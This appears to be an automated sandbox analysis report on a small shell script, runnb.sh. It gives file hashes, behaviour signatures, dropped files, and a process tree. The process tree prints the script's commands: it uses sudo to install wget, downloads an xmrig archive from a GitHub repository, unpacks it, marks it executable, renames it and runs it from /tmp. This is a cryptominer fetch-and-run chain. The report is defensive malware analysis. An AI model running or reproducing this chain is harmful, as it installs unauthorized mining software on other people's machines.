Analysis

  • max time kernel
    51s
  • max time network
    53s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    30/10/2024, 13:06

General

  • Target

    runnb.sh

  • Size

    213B

  • MD5

    a1189543e2f98f6696c6d857b899ab0a

  • SHA1

    30b167128357a05cb5ae4d8bd386d63839d99c4d

  • SHA256

    a5951456684af2a46da1bcd8c820221c97b13a439db465c2b671fa3180d838d6

  • SHA512

    472e7cd110beb4c0ff9990763988190c875dccecc726753e295d4419413bfd14ed867a9a5977adf2d6e87d6e80f18abbdd0a929473f02bbfb24e1531e71d7aef

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs

    Abuse sudo or cached sudo credentials to execute code.

  • Reads CPU attributes 1 TTPs 2 IoCs
  • Reads runtime system information 14 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/runnb.sh
    /tmp/runnb.sh
    1⤵
      PID:704
      • /usr/bin/sudo
        sudo apt install wget
        2⤵
        • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
        • Reads runtime system information
        PID:705
        • /usr/sbin/sendmail
          sendmail -t
          3⤵
          • Reads runtime system information
          PID:718
          • /usr/sbin/exim4
            /usr/sbin/exim4 -Mc 1t67WX-0000Ba-U9
            4⤵
            • Reads CPU attributes
            PID:735
        • /usr/sbin/sendmail
          sendmail -t
          3⤵
          • Reads runtime system information
          PID:721
          • /usr/sbin/exim4
            /usr/sbin/exim4 -Mc 1t67WX-0000Bd-Tl
            4⤵
            • Reads CPU attributes
            PID:734
        • /usr/bin/apt
          apt install wget
          3⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:724
          • /usr/bin/dpkg
            /usr/bin/dpkg --print-foreign-architectures
            4⤵
            • Reads runtime system information
            PID:731
          • /usr/bin/dpkg
            /usr/bin/dpkg --print-foreign-architectures
            4⤵
            • Reads runtime system information
            PID:742
      • /usr/bin/apt
        apt install wget
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:762
        • /usr/bin/dpkg
          /usr/bin/dpkg --print-foreign-architectures
          3⤵
          • Reads runtime system information
          PID:763
        • /usr/bin/dpkg
          /usr/bin/dpkg --print-foreign-architectures
          3⤵
          • Reads runtime system information
          PID:764
      • /usr/bin/wget
        wget https://github.com/orkaroeli/orkaroeliminer/raw/refs/heads/main/xmrigtar.tar.gz
        2⤵
          PID:765
        • /bin/tar
          tar xvf xmrigtar.tar.gz
          2⤵
          • Reads runtime system information
          PID:766
        • /bin/chmod
          chmod +x xmrig
          2⤵
          • File and Directory Permissions Modification
          PID:767
        • /bin/mv
          mv xmrig cool
          2⤵
          • Reads runtime system information
          PID:768
        • /tmp/cool
          ./cool
          2⤵
            PID:769

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • /var/mail/user

                Filesize

                825B

                MD5

                2e64547594cb07a79be6167095b3421c

                SHA1

                ab83381e1eb624ee06dbb5513cfc863fb2ec0099

                SHA256

                7cda1aee71c8b2e2ce4133c99388f0e42abc7bd491fc92691db8375ab70933ae

                SHA512

                5d9b98f3a027e785edf86ef07acab7978ac5e1cc48c412c2c73fd7a61836ed779ec7f57831a7f4d44d57ae0756cc11f0139f36fb769a0917210da0964b57e55e

              • /var/mail/user

                Filesize

                1KB

                MD5

                3306e338f0de9348470695cf0c09db1f

                SHA1

                12d9b6006acd4b506cfa50c89ecf0b84e2deb018

                SHA256

                a8a474e7234e1a7c4f33c145018f2d235fe2a2a917eea63579cc018384364eac

                SHA512

                99f07c204ed386392f5475be50302f644a0197cd65b504c94ede2c169f04d4187d4a5f163094648f14c987913457cf2918ec283b93811dbc19c39971db6e15c3

              • /var/spool/exim4/input/1t67WX-0000Ba-U9-D

                Filesize

                128B

                MD5

                fb161a8d77589e42343a69baac6558c3

                SHA1

                da1d6196ad814ac6aceb4f8a5c74c42bb6bb77e0

                SHA256

                4ae583fdd30f59a2ce5a6f622d86ca502aea6868045b2b5b46d7e03fa0f9da4d

                SHA512

                dbe638525b7db65236d525169cfbdf96ff40db7dbf875419897807f141f1a23bdcb728d1a9bdaf914742722e5c7413b5ba61b5c1d5cac9baac1efe78db1c0a7a

              • /var/spool/exim4/input/1t67WX-0000Ba-U9-J

                Filesize

                34B

                MD5

                d7d96d63d643a4ce3e408eba7dfcedc5

                SHA1

                c53607f95c5c57beafc1d8266646797a035f76ea

                SHA256

                21db3a59b2d0ce18fb250b787d6e2c85d12919f5fdf1448c8f48207c4083b159

                SHA512

                703a03e54776a6ad9b8adc6c475bbc91c06502618fa3b6f495b1a01a4f6f7aa6fb65dc6ba6885ddc6af961627062f1ce1e1d66688288cbd3bef7754d249fa9b3

              • /var/spool/exim4/input/1t67WX-0000Bd-Tl-D

                Filesize

                146B

                MD5

                941d420759e94a1bd868c37f625edb0e

                SHA1

                07a5df1665607adc1dca3eae8973194d84f33509

                SHA256

                4cebde6c7e7da64d826a429a647e13d1cee779b1dd21a28ba6b4038399f5ab95

                SHA512

                e79314a8786b2fe5f34036297e84c0ae7c042edc9566816f1ddce65ae9a173a8f90824df4e36fa9b3fd18d3dbe9577f13115cc7e5659594c777f378b5e4e23fe

              • /var/spool/exim4/input/hdr.718

                Filesize

                915B

                MD5

                48799cda21e70d63c321e8447aef7ec8

                SHA1

                e4b5ff6d347bc0167a579ee45f3c60214583578f

                SHA256

                79add92d542e684b6a9a5a1846af6e95ec7f1f4b43f0278fcaced2c7d29eb2dd

                SHA512

                82bcb959b4cf2f0f331bcec83a2bb616553256775028e641a5cb5b74468ffb0a875816c0b62a01383ca4b71bb92f2a8697ebb3e2c95ea876499c7c0e92578fab

              • /var/spool/exim4/msglog/1t67WX-0000Ba-U9

                Filesize

                288B

                MD5

                e06795efeae2b189486bac86b73396f5

                SHA1

                7cedd0a0713397d1d097712f49dfe56ce0280a48

                SHA256

                c6a38cfc3b0bcd0da3e28339e14c1020e95013cb9ec230580bac622e3efc1485

                SHA512

                a601fe93788026af3440dbaab44747e3915fccf44956526cfd79f676553e6815f45dd697e7dac099a5008be9660f448415bb71afdf990aed6b6bba3adbbf98ab

              • /var/spool/exim4/msglog/1t67WX-0000Ba-U9

                Filesize

                89B

                MD5

                2633f88076d9fc2543fa50f203e0d08f

                SHA1

                ad6b4fd63cbc7c131c66639152d4f0a16e5f58b8

                SHA256

                750d8a4120dbea512b80ba7b9b284d4c2b52009c2a52d1d106dab24f0bd1eac9

                SHA512

                a12152884afdcdb8e2bcad89690f5e105683ce460876123c41a3c2bbb0d65d6e2ba19e394b262bd3bd3a7c7c74397f6c380ec577b49a02ce474cbb12a7f90ef6

              • /var/spool/exim4/msglog/1t67WX-0000Bd-Tl

                Filesize

                288B

                MD5

                ea08c55f299f53254a3c5d4c3e80cacd

                SHA1

                4dd0cea75a44decb69821b37ae43ad3b31bf266b

                SHA256

                d574187e37c7e4c775b3f08b1fc37fb678c54fd6af681f947808c9e474c7c1b9

                SHA512

                d783a6ab3b30114c7a5c19ac4c8dc95abf482967d0b5f061121e24e9132bc7ab894f51b684664d1899a100814548c5f7ab7769b38d52affbebb8ca9c14dc94ee

              • /var/spool/exim4/msglog/1t67WX-0000Bd-Tl

                Filesize

                89B

                MD5

                8325c366e5037ddfc0286eda5fa5b2e2

                SHA1

                542ca7ae5ed8e1b1d405b6362ce51ce2960fff3a

                SHA256

                43cc8dd066396ff583c39678b6844c019ad2e2222dc0a6fcdf8415a7df08ffd3

                SHA512

                e22a836ef72c3d7816ab190fda793c67d9f526ea008ad9ed627da70dbc5ea640b5447f5b174fa937d7583e10334eb7b4a3e3162d7f3d4bda1fd37fb4f3661718